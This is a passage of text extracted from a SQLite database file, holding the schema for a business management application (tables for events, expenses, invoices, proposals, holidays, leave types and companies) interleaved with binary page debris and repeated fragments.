"description" text not null, "start_date_time" datetime not null, "end_date_time" datetime not null, "repeat" varchar check ("repeat" in ('yes', 'no')) not null default 'no', "repeat_every" integer, "repeat_cycles" integer, "repeat":tableeventseventsCREATE TABLE "events" ("id" integer primary key autoincrement not null, "company_id" integer, "event_name" varchar not null, "label_color" varchar not null, "where" varchar not null, "description" text not null, "start_date_time" datetime not null, "end_date_time" datetime not null, "repeat" varchar check ("repeat" in ('yes', 'no')) not null default 'no', "repeat_every" integer, "repeat_cycles" integer, "repeat_type" varchar check ("repeat_type" in ('day', 'week', 'month', 'year')) not null default 'day', "send_reminder" varchar check ("send_reminder" in ('yes', 'no')) not null default 'no', "remind_time" integer, "remind_type" varchar check ("remind_type" in ('day', 'hour', 'minute')) not null default 'day', "added_by" integer, "last_updated_by" integer, "event_id" text, "created_at" datetime, "updated_at" datetime, "event_link" varchar, "parent_id" integer, "host" integer, "status" varchar check ("status" in ('pending', 'completed', 'cancelled')) not null default 'pending', "note" varchar not null, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE)7Q)7indexestimate_items_estimate_id_foreignestimate_itemsCREATE INDEX "estimate_items_estimate_id_foreign" on "estimate_items" ("estimate_id")5I)'indexemployee_teams_user_id_foreignemployee_teamsCREATE INDEX "employee_teams_user_id_foreign" on "employee_teams" ("user_id")4I)'indexemployee_teams_team_id_foreignemployee_teamsCREATE INDEX "employee_teams_team_id_foreign" on "employee_teams" ("team_id"){3))/tableemployee_teamsemployee_teamsCREATE TABLE "employee_teams" ("id" integer primary key autoincrement not null, "company_id" integer, "team_id" integer not null, "user_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("team_id") references "teams"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)2M+/indexemployee_skills_skill_id_foreignemployee_skillsCREATE INDEX "employee_skills_skill_id_foreign" on "employee_skills" ("skill_id") 1K++indexemployee_skills_user_id_foreignemployee_skillsCREATE INDEX "employee_skills_user_id_foreign" on "employee_skills" ("user_id")j;; indexevents_added_by_foreigneventsCREATE INDEX "events_added_by_foreign" on "events" ("added_by")          l  e"""" FW1Cindexexpenses_recurring_project_id_foreignexpenses_recurringCREATE INDEX "expenses_recurring_project_id_foreign" on "expenses_recurring" ("project_id")Y1Gindexexpenses_recurring_currency_id_foreignexpenses_recurringCREATE INDEX "expenses_recurring_currency_id_foreign" on "expenses_recurring" ("currency_id")v11?tableexpenses_recurringexpenses_recurringCREATE TABLE "expenses_recurring" ("id" integer primary key autoincrement not null, "company_id" integer, "category_id" integer, "currency_id" integer, "project_id" integer, "user_id" integer, "created_by" integer, "item_name" varchar not null, "day_of_month" integer default '1', "day_of_week" integer default '1', "payment_method" varchar, "rotation" varchar check ("rotation" in ('monthly', 'weekly', 'bi-weekly', 'quarterly', 'half-yearly', 'annually', 'daily')) not null, "billing_cycle" integer, "unlimited_recurring" tinyint(1) not null default '0', "price" float not null, "bill" varchar, "status" varchar check ("status" in ('active', 'inactive')) not null default 'active', "description" text, "added_by" integer, "last_updated_by" integer, "purchase_from" varchar, "created_at" datetime, "updated_at" datetime, "issue_date" date not null, "immediate_expense" tinyint(1) not null default '0', "next_expense_date" date, "bank_account_id" integer, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("category_id") references "expenses_category"("id") on delete CASCADE on update CASCADE, foreign key("created_by") references "users"("id") on delete NO ACTION on update CASCADE, foreign key("currency_id") references "currencies"("id") on delete CASCADE on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("project_id") references "projects"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)#DY1Gindexexpenses_recurring_category_id_foreignexpenses_recurringCREATE INDEX "expenses_recurring_category_id_foreign" on "expenses_recurring" ("category_id")<I'indexevents_last_updated_by_foreigneventsCREATE INDEX "events_last_updated_by_foreign" on "events" ("last_updated_by")+B_/Sindexexpenses_category_last_updated_by_foreignexpenses_categoryCREATE INDEX "expenses_category_last_updated_by_foreign" on "expenses_category" ("last_updated_by")AQ/7indexexpenses_category_added_by_foreignexpenses_categoryCREATE INDEX "expenses_category_added_by_foreign" on "expenses_category" ("added_by")(@//}tableexpenses_categoryexpenses_categoryCREATE TABLE "expenses_category" ("id" integer primary key autoincrement not null, "company_id" integer, "category_name" varchar not null, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE)?M+/indexevent_attendees_event_id_foreignevent_attendeesCREATE INDEX "event_attendees_event_id_foreign" on "event_attendees" ("event_id") >K++indexevent_attendees_user_id_foreignevent_attendeesCREATE INDEX "event_attendees_user_id_foreign" on "event_attendees" ("user_id")=++7tableevent_attendeesevent_attendeesCREATE TABLE "event_attendees" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "event_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("event_id") references "events"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)           p & j=RK]''?tablegdpr_settingsgdpr_settingsCREATE TABLE "gdpr_settings" ("id" integer primary key autoincrement not null, "enable_gdpr" tinyint(1) not null default '0', "show_customer_area" tinyint(1) not null default '0', "show_customer_footer" tinyint(1) not null default '0', "top_information_block" text, "enable_export" tinyint(1) not null default '0', "data_removal" tinyint(1) not null default '0', "lead_removal_public_form" tinyint(1) not null default '0', "terms_customer_footer" tinyint(1) not null default '0', "terms" text, "policy" text, "public_lead_edit" tinyint(1) not null default '0', "consent_customer" tinyint(1) not null default '0', "consent_leads" tinyint(1) not null default '0', "consent_block" text, "created_at" datetime, "updated_at" datetime)G\77+tablefile_storage_settingsfile_storage_settingsCREATE TABLE "file_storage_settings" ("id" integer primary key autoincrement not null, "filesystem" varchar not null, "auth_keys" text, "status" varchar check ("status" in ('enabled', 'disabled')) not null default 'disabled', "created_at" datetime, "updated_at" datetime)i[%%tablefile_storagefile_storageCREATE TABLE "file_storage" ("id" integer primary key autoincrement not null, "company_id" integer, "path" varchar not null, "filename" varchar not null, "type" varchar, "size" integer not null, "storage_location" varchar check ("storage_location" in ('local', 'aws_s3', 'digitalocean')) not null default 'local', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)wZ;#indexfailed_jobs_uuid_uniquefailed_jobsCREATE UNIQUE INDEX "failed_jobs_uuid_unique" on "failed_jobs" ("uuid"))Y##tablefailed_jobsfailed_jobsCREATE TABLE "failed_jobs" ("id" integer primary key autoincrement not null, "uuid" varchar not null, "connection" text not null, "queue" text not null, "payload" text not null, "exception" text not null, "failed_at" datetime not null default CURRENT_TIMESTAMP)+X[;Kindexexpenses_category_roles_role_id_foreignexpenses_category_rolesCREATE INDEX "expenses_category_roles_role_id_foreign" on "expenses_category_roles" ("role_id")RWu;indexexpenses_category_roles_expenses_category_id_foreignexpenses_category_rolesCREATE INDEX "expenses_category_roles_expenses_category_id_foreign" on "expenses_category_roles" ("expenses_category_id")3V;;{tableexpenses_category_rolesexpenses_category_rolesCREATE TABLE "expenses_category_roles" ("id" integer primary key autoincrement not null, "company_id" integer, "expenses_category_id" integer, "role_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("expenses_category_id") references "expenses_category"("id") on delete CASCADE on update CASCADE, foreign key("role_id") references "roles"("id") on delete CASCADE on update CASCADE)FTitablerolesrolesCREATE TABLE "roles" ("id" integer primary key autoincrement not null, "company_id" integer, "name" varchar not null, "display_name" varchar, "description" varchar, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)a1Windexexpenses_recurring_last_updated_by_foreignexpenses_recurringCREATE INDEX "expenses_recurring_last_updated_by_foreign" on "expenses_recurring" ("last_updated_by")S1;indexexpenses_recurring_added_by_foreignexpenses_recurringCREATE INDEX "expenses_recurring_added_by_foreign" on "expenses_recurring" ("added_by")?W1Cindexexpenses_recurring_created_by_foreignexpenses_recurringCREATE INDEX "expenses_recurring_created_by_foreign" on "expenses_recurring" ("created_by")Q17indexexpenses_recurring_user_id_foreignexpenses_recurringCREATE INDEX "expenses_recurring_user_id_foreign" on "expenses_recurring" ("user_id")   8 pWV5;indexIDX_E9CADA6A979B1AD6proposal_template_itemsCREATE INDEX IDX_E9CADA6A979B1AD6 ON proposal_template_items (company_id) U5;3indexIDX_E9CADA6ABCCEE982proposal_template_itemsCREATE INDEX IDX_E9CADA6ABCCEE982 ON proposal_template_items (proposal_template_id)T;;tableproposal_template_itemsproposal_template_itemsCREATE TABLE proposal_template_items (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, proposal_template_id INTEGER NOT NULL, hsn_sac_code VARCHAR(191) DEFAULT NULL, item_name VARCHAR(255) NOT NULL, type VARCHAR(255) DEFAULT 'item' NOT NULL, quantity DOUBLE PRECISION NOT NULL, unit_price DOUBLE PRECISION NOT NULL, amount DOUBLE PRECISION NOT NULL, item_summary CLOB DEFAULT NULL, taxes VARCHAR(255) DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, unit_id INTEGER DEFAULT NULL, product_id INTEGER DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (proposal_template_id) REFERENCES proposal_templates (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)}S51indexIDX_5A7C8E48FF8A180Bproposal_templatesCREATE INDEX IDX_5A7C8E48FF8A180B ON proposal_templates (last_updated_by)vR51indexIDX_5A7C8E48699B6BAFproposal_templatesCREATE INDEX IDX_5A7C8E48699B6BAF ON proposal_templates (added_by)yQ51indexIDX_5A7C8E4838248176proposal_templatesCREATE INDEX IDX_5A7C8E4838248176 ON proposal_templates (currency_id)qP11 indexIDX_5A7C8E4855458Dproposal_templatesCREATE INDEX IDX_5A7C8E4855458D ON proposal_templates (lead_id)xO51indexIDX_5A7C8E48979B1AD6proposal_templatesCREATE INDEX IDX_5A7C8E48979B1AD6 ON proposal_templates (company_id)*N11tableproposal_templatesproposal_templatesCREATE TABLE proposal_templates (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, lead_id INTEGER NOT NULL, currency_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, name VARCHAR(255) NOT NULL, sub_total DOUBLE PRECISION NOT NULL, total DOUBLE PRECISION NOT NULL, discount_type VARCHAR(255) NOT NULL, discount DOUBLE PRECISION NOT NULL, invoice_convert BOOLEAN DEFAULT 0 NOT NULL, status VARCHAR(255) DEFAULT 'waiting' NOT NULL, note CLOB DEFAULT NULL, description CLOB DEFAULT NULL, calculate_tax VARCHAR(255) DEFAULT 'after_discount' NOT NULL, client_comment CLOB DEFAULT NULL, signature_approval BOOLEAN DEFAULT 1 NOT NULL, hash CLOB DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (lead_id) REFERENCES leads (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE)MO'indexproposals_last_updated_by_foreignproposalsCREATE INDEX proposals_last_updated_by_foreign ON proposals (last_updated_by)pLA indexproposals_added_by_foreignproposalsCREATE INDEX proposals_added_by_foreign ON proposals (added_by)?Gindexproposals_currency_id_foreignproposalsCREATE IV5;indexIDX_E9CADA6A979B1AD6proposal_template_itemsCREATE INDEX IDX_E9CADA6A979B1AD6 ON proposal_template_items (company_id) U5;3indexIDX_E9CADA6ABCCEE982proposal_template_itemsCREATE INDEX IDX_E9CADA6ABCCEE982 ON proposal_template_items (proposal_template_id)         >>=<;9$,''tablemention_usersmention_usersCREATE TABLE "mention_users" ("id" integer primary key autoincrement not null, "task_comment_id" integer, "task_note_id" integer, "task_id" integer, "project_id" integer, "project_note_id" integer, "discussion_id" integer, "user_id" integer, "discussion_reply_id" integer, "created_at" datetime, "updated_at" datetime, "ticket_id" integer, "event_id" integer, "user_chat_id" integer, foreign key("task_comment_id") references "task_comments"("id") on delete cascade on update cascade, foreign key("task_note_id") references "task_notes"("id") on delete cascade on update cascade, foreign key("task_id") references "tasks"("id") on delete cascade on update cascade, foreign key("project_id") references "projects"("id") on delete cascade on update cascade, foreign key("project_note_id") references "project_notes"("id") on delete cascade on update cascade, foreign key("discussion_id") references "discussions"("id") on delete cascade on update cascade, foreign key("user_id") references "users"("id") on delete cascade on update cascade, foreign key("discussion_reply_id") references "discussion_replies"("id") on delete cascade on update cascade)0W'Cindexinvoice_files_last_updated_by_foreigninvoice_filesCREATE INDEX "invoice_files_last_updated_by_foreign" on "invoice_files" ("last_updated_by")/I''indexinvoice_files_added_by_foreigninvoice_filesCREATE INDEX "invoice_files_added_by_foreign" on "invoice_files" ("added_by") .M'/indexinvoice_files_invoice_id_foreigninvoice_filesCREATE INDEX "invoice_files_invoice_id_foreign" on "invoice_files" ("invoice_id"):-''1tableinvoice_filesinvoice_filesCREATE TABLE "invoice_files" ("id" integer primary key autoincrement not null, "invoice_id" integer not null, "added_by" integer, "last_updated_by" integer, "filename" varchar, "hashname" varchar, "size" varchar, "created_at" datetime, "updated_at" datetime, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("invoice_id") references "invoices"("id") on delete CASCADE on update CASCADE)t+3/indexIDX_9C3F371979B1AD6invoice_recurringCREATE INDEX IDX_9C3F371979B1AD6 ON invoice_recurring (company_id)*W/7indexinvoice_recurring_currency_id_foreigninvoice_recurringCREATE INDEX invoice_recurring_currency_id_foreign ON invoice_recurring (currency_id))U/3indexinvoice_recurring_project_id_foreigninvoice_recurringCREATE INDEX invoice_recurring_project_id_foreign ON invoice_recurring (project_id)(S//indexinvoice_recurring_client_id_foreigninvoice_recurringCREATE INDEX invoice_recurring_client_id_foreign ON invoice_recurring (client_id) 'O/'indexinvoice_recurring_user_id_foreigninvoice_recurringCREATE INDEX invoice_recurring_user_id_foreign ON invoice_recurring (user_id)&U/3indexinvoice_recurring_created_by_foreigninvoice_recurringCREATE INDEX invoice_recurring_created_by_foreign ON invoice_recurring (created_by)%Q/+indexinvoice_recurring_added_by_foreigninvoice_recurringCREATE INDEX invoice_recurring_added_by_foreign ON invoice_recurring (added_by)               c cNi//Itableinvoice_recurringinvoice_recurringCREATE TABLE "invoice_recurring" ("id" integer primary key autoincrement not null, "company_id" integer, "currency_id" integer, "project_id" integer, "client_id" integer, "user_id" integer,0i// tableinvoice_recurringinvoice_recurringCREATE TABLE "invoice_recurring" ("id" integer primary key autoincrement not null, "company_id" integer, "currency_id" integer, "project_id" integer, "client_id" integer, "user_id" integer, "created_by" integer, "issue_date" date not null, "due_date" date not null, "sub_total" float not null default '0', "total" float not null default '0', "discount" float not null default '0', "discount_type" varchar check ("discount_type" in ('percent', 'fixed')) not null default 'percent', "status" varchar check ("status" in ('active', 'inactive')) not null default 'active'+p_/Sindexinvoice_recurring_last_updated_by_foreigninvoice_recurringCREATE INDEX "invoice_recurring_last_updated_by_foreign" on "invoice_recurring" ("last_updated_by")Q/7indexinvoice_recurring_added_by_foreigninvoice_recurringCREATE INDEX "invoice_recurring_added_by_foreign" on "invoice_recurring" ("added_by")tU/?indexinvoice_recurring_created_by_foreigninvoice_recurringCREATE INDEX "invoice_recurring_created_by_foreign" on "invoice_recurring" ("created_by")O/3indexinvoice_recurring_user_id_foreigninvoice_recurringCREATE INDEX "invoice_recurring_user_id_foreign" on "invoice_recurring" ("user_id")=S/;indexinvoice_recurring_client_id_foreigninvoice_recurringCREATE INDEX "invoice_recurring_client_id_foreign" on "invoice_recurring" ("client_id")U/?indexinvoice_recurring_project_id_foreigninvoice_recurringCREATE INDEX "invoice_recurring_project_id_foreign" on "invoice_recurring" ("project_id") ^;;'tablegoogle_calendar_modulesgoogle_calendar_modulesCREATE TABLE "google_calendar_modules" ("id" integer primary key autoincrement not null, "company_id" integer, "lead_status" tinyint(1) not null default '0', "leave_status" tinyint(1) not null default '0', "invoice_status" tinyint(1) not null default '0', "contract_status" tinyint(1) not null default '0', "task_status" tinyint(1) not null default '0', "event_status" tinyint(1) not null default '0', "holiday_status" tinyint(1) not null default '0', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)bM/indexholidays_last_updated_by_foreignholidaysCREATE INDEX "holidays_last_updated_by_foreign" on "holidays" ("last_updated_by")ra?indexholidays_added_by_foreignholidaysCREATE INDEX "holidays_added_by_foreign" on "holidays" ("added_by")a`3indexholidays_date_indexholidaysCREATE INDEX "holidays_date_index" on "holidays" ("date")tableholidaysholidaysCREATE TABLE "holidays" ("id" integer primary key autoincrement not null, "company_id" integer, "date" date not null, "occassion" varchar, "added_by" in{_GtableholidaysholidaysCREATE TABLE "holidays" ("id" integer primary key autoincrement not null, "company_id" integer, "date" date not null, "occassion" varchar, "added_by" integer, "last_updated_by" integer, "event_id" text, "created_at" datetime, "updated_at" datetime, "department_id_json" text, "designation_id_json" text, "employment_type_json" text, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE)         K  j a Op##atableleave_typesleave_typesCREATE TABLE leave_types (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, type_name VARCHAR(255) NOT NULL, color VARCHAR(255) NOT NULL, no_of_leaves INTEGER DEFAULT 5 NOT NULL, paid BOOLEAN DEFAULT 1 NOT NULL, monthly_limit INTEGER DEFAULT 0 NOT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, effective_after INTEGER DEFAULT NULL, effective_type VARCHAR(255) DEFAULT NULL, unused_leave VARCHAR(255) DEFAULT NULL, encashed BOOLEAN NOT NULL, allowed_probation BOOLEAN NOT NULL, allowed_notice BOOLEAN NOT NULL, gender VARCHAR(255) DEFAULT NULL, marital_status VARCHAR(255) DEFAULT NULL, department CLOB DEFAULT NULL, designation CLOB DEFAULT NULL, role CLOB DEFAULT NULL, "deleted_at" datetime, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)t33#tableinvoice_item_imagesinvoice_item_imagesCREATE TABLE invoice_item_images (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, invoice_item_id INTEGER NOT NULL, filename VARCHAR(191) DEFAULT NULL, hashname VARCHAR(255) DEFAULT NULL, size VARCHAR(255) DEFAULT NULL, external_link VARCHAR(255) DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (invoice_item_id) REFERENCES invoice_items (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)4sg5Windexestimate_item_images_estimate_item_id_foreignestimate_item_imagesCREATE INDEX estimate_item_images_estimate_item_id_foreign ON estimate_item_images (estimate_item_id)r55+tableestimate_item_imagesestimate_item_imagesCREATE TABLE estimate_item_images (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, estimate_item_id INTEGER NOT NULL, filename VARCHAR(191) DEFAULT NULL, hashname VARCHAR(255) DEFAULT NULL, size VARCHAR(255) DEFAULT NULL, external_link VARCHAR(255) DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (estimate_item_id) REFERENCES estimate_items (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)jq5#indexIDX_9CE4D09A979B1AD6leave_typesCREATE INDEX IDX_9CE4D09A979B1AD6 ON leave_types (company_id)qoA! indextask_notes_task_id_foreigntask_notesKCREATE INDEX task_notes_task_id_foreign ON task_notes (task_id)tnC!indextask_notes_added_by_foreigntask_notesJCREATE INDEX task_notes_added_by_foreign ON task_notes (added_by) mQ!+indextask_notes_last_updated_by_foreigntask_notesICREATE INDEX task_notes_last_updated_by_foreign ON task_notes (last_updated_by)-uc3Oindexinvoice_item_images_invoice_item_id_foreigninvoice_item_imagesCREATE INDEX invoice_item_images_invoice_item_id_foreign ON invoice_item_images (invoice_item_id)           ?A * ,AAAAAAAAAAx{Cindexinvoices_created_by_foreigninvoicesCREATE INDEX "invoices_created_by_foreign" on "invoices" ("created_by")zWCindexinvoices_invoice_recurring_id_foreigninvoicesCREATE INDEX "invoices_invoice_recurring_id_foreign" on "invoices" ("invoice_recz G+indexinvoice_recurring_item_images_invoice_recurring_item_id_foreigninvoice_recurring_item_imagesCREATE INDEX "invoice_recurring_item_images_invoice_recurring_item_id_foreign" on "invoice_recurring_item_images" ("invoice_recurring_item_id")yEindexinvoices_estimate_id_foreigninvoicesCREATE INDEX "invoices_estimate_id_foreign" on "invoices" ("estimate_id") EindUGG'tableinvoice_recurring_item_imagesinvoice_recurring_item_imagesCREATE TABLE "invoice_recurring_item_images" ("id" integer primary key autoincrement not null, "invoice_recurring_item_id" integer not null, "filename" varchar not null, "hashname" varchar, "size" varchar, "external_link" varchar, "created_at" datetime, "updated_at" datetime, foreign key("invoice_recurring_item_id") references "invoice_recurring_items"("id") on delete CASCADE on update CASCADE)Ru;indexinvoice_recurring_items_invoice_recurring_id_foreigninvoice_recurring_itemsCREATE INDEX "invoice_recurring_items_invoice_recurring_id_foreign" on "invoice_recurring_items" ("invoice_recurring_id") ;;Gtableinvoice_recurring_itemsinvoice_recurring_itemsCREATE TABLE "invoice_recurring_items" ("id" integer primary key autoincrement not null, "invoice_recurring_id" integer not null, "item_name" varchar not null, "quantity" float not null, "unit_price" float not null, "amount" float not null, "taxes" text, "type" varchar check ("type" in ('item', 'discount', 'tax')) not null default 'item', "item_summary" text, "hsn_sac_code" varchar, "created_at" datetime, "updated_at" datetime, foreign key("invoice_recurring_id") references "invoice_recurring"("id") on delete CASCADE on update CASCADE)3c3[indexinvoice_item_images_invoice_item_id_foreigninvoice_item_imagesCREATE INDEX "invoice_item_images_invoice_item_id_foreign" on "invoice_item_images" ("invoice_item_id") 33Wtableinvoice_item_imagesinvoice_item_imagesCREATE TABLE "invoice_item_images" ("id" integer primary key autoincrement not null, "invoice_item_id" integer not null, "filename" varchar not null, "hashname" varchar, "size" varchar, "external_link" varchar, "created_at" datetime, "updated_at" datetime, foreign key("invoice_item_id") references "invoice_items"("id") on delete CASCADE on update CASCADE) M'/indexinvoice_items_invoice_id_foreigninvoice_itemsCREATE INDEX "invoice_items_invoice_id_foreign" on "invoice_items" ("invoice_id")r''tableinvoice_itemsinvoice_itemsCREATE TABLE "invoice_items" ("id" integer primary key autoincrement n;;tableinvoice_recurring_itemsinvoice_recurring_itemsCREATE TABLE "invoice_recurring_items" ("id" integer primary key autoincrement not null, "invoice_recurring_id" integer not null, "item_name" varchar not null, "quantity" float not null, "unit_price" float not null, "amount" float not null, "taxes" text, "type" varchar check ("type" in ('item', 'discount', 'tax')) not null default 'item', "item_summary" text, "hsn_sac_code" varchar, "created_at" datetime, "updated_at" datetime, "unit_id" integer, "product_id" integer, foreign key("invoice_recurring_id") references "invoice_recurring"("id") on delete CASCADE on update CASCADE)J''Qtableinvoice_itemsinvoice_itemsCREATE TABLE "invoice_items" ("id" integer primary key autoincrement not null, "invoice_id" integer not null, "item_name" varchar not null, "item_summary" text, "type" varchar check ("type" in ('item', 'discount', 'tax')) not null default 'item', "quantity" float not null, "unit_price" float not null, "amount" float not null, "taxes" varchar, "hsn_sac_code" varchar, "created_at" datetime, "updated_at" datetime, "unit_id" integer, "product_id" integer, foreign key("invoice_id") references "invoices"("id") on delete CASCADE on update CASCADE)              a<9 8 <xyGindexcompanies_currency_id_foreigncompaniesCREATE INDEX companies_currency_id_foreign ON companies (currency_id)xO'indexcompanies_last_updated_by_foreigncompaniesCREATE INDEX companies_last_updated_by_foreign ON companies ;vEtablecompaniescompanies CREATE TABLE companies (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, currency_id INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, default_task_status INTEGER UNSIGNED DEFAULT NULL, company_name VARCHAR(255) NOT NULL, app_name VARCHAR(255) DEFAULT NULL, company_email VARCHAR(255) NOT NULL, company_phone VARCHAR(255) NOT NULL, logo VARCHAR(255) DEFAULT NULL, light_logo VARCHAR(255) DEFAULT NULL, favicon VARCHAR(255) DEFAULT NU tableawardsawardsCREATE TABLE "awards" ("id" integer primary key autoincrement not null, "company_id" integer, "title" varchar not null, "award_icon_id" integer, "summary" text, "status" varchar check ("status" in ('active', 'inactive')) not null default 'active', "color_code" varchar not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("award_icon_id") references "award_icons"("id") on delete cascade on update cascade)Gk/indextaskboard_columns_column_name_company_id_uniquetaskboard_columnsCREATE UNIQUE INDEX "taskboard_columns_column_name_company_id_unique" on "taskboard_columns" ("column_name", "company_id")Cg1yindexpush_subscriptions_endpoint_company_id_uniquepush_subscriptionsCREATE UNIQUE INDEX "push_subscriptions_endpoint_company_id_unique" on "push_subscriptions" ("endpoint", "company_id") `P_iindexpayments_transaction_id_company_id_uniquepaymentsCREATE UNIQUE INDEX "payments_transaction_id_company_id_unique" on "payments" ("transaction_id", "company_id") `SQindexpayments_event_id_company_id_uniquepaymentsCREATE UNIQUE INDEX "payments_event_id_company_id_unique" on "payments" ("event_id", "company_id")Q#Mindexlead_status_type_company_id_uniquelead_statusTCREATE UNIQUE INDEX "lead_status_type_company_id_unique" on "lead_status" ("type", "company_id")S%Qindexlead_sources_type_company_id_uniquelead_sourcesPCREATE UNIQUE INDEX "lead_sources_type_company_id_unique" on "lead_sources" ("type", "company_id") P_iindexinvoices_invoice_number_company_id_uniqueinvoices CREATE UNIQUE- ''tableappreciationsappreciationsCREATE TABLE "appreciations" ("id" integer primary key autoincrement not null, "company_id" integer, "award_id" integer not null, "award_to" integer not null, "award_date" date not null, "image" varchar, "summary" text, "added_by" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("award_id") references "awards"("id") on delete cascade on update cascade, foreign key("award_to") references "users"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete cascade on update cascade){O#Iindexpermissions_name_module_id_uniquepermissionsCREATE UNIQUE INDEX "permissions_name_module_id_unique" on "permissions" ("name", "module_id");E5indexroles_name_company_id_uniquerolesCREATE UQ ##gtableaward_iconsaward_iconsCREATE TABLE "award_icons" ("id" integer primary key autoincrement not null, "title" varchar not null, "icon" varchar not null, "created_at" datetime, "updated_at" datetime)G9indexusers_email_company_id_uniqueusers CREATE UNIQUE INDEX "users_email_company_id_unique" on "users" ("email", "company_id")S%Qindexticket_types_type_company_id_uniqueticket_types^CREATE UNIQUE INDEX "ticket_types_type_company_id_unique" on "ticket_types" ("type", "company_id")Ci+}indexticket_channels_channel_name_company_id_uniqueticket_channelsYCREATE UNIQUE INDEX "ticket_channels_channel_name_company_id_unique" on "ticket_channels" ("channel_name", "company_id") hh H _tablecompaniescompanies CREATE TABLE companies (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, currency_id INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, default_task_status INTEGER UNSIGNED DEFAULT NU Wtablecompaniescompanies CREATE TABLE companies (D Wtablecompaniescompanies CREATE TABLE companies (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, currency_id INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, default_task_status INTEGER UNSIGNED DEFAULT NULL, company_name VARCHAR(255) NOT NULL COLLATE "BINARY", app_name VARCHAR(255) DEFAULT NULL COLLATE "BINARY", company_email VARCHAR(255) NOT NULL COLLATE "BINARY", company_phone VARCHAR(255) NOT NULL COLLATE "BINARY", logo VARCHAR(255) DEFAULT NULL COLLATE "BINARY", light_logo VARCHAR(255) DEFAULT NULL COLLATE "BINARY", favicon VARCHAR(255) DEFAULT NULL COLLATE "BINARY", auth_theme VARCHAR(255) DEFAULT 'light' NOT NULL COLLATE "BINARY", sidebar_logo_style VARCHAR(255) DEFAULT 'square' NOT NULL COLLATE "BINARY", login_background VARCHAR(255) DEFAULT NULL COLLATE "BINARY", address CLOB NOT NULL COLLATE "BINARY", website VARCHAR(255) DEFAULT NULL COLLATE "BINARY", timezone 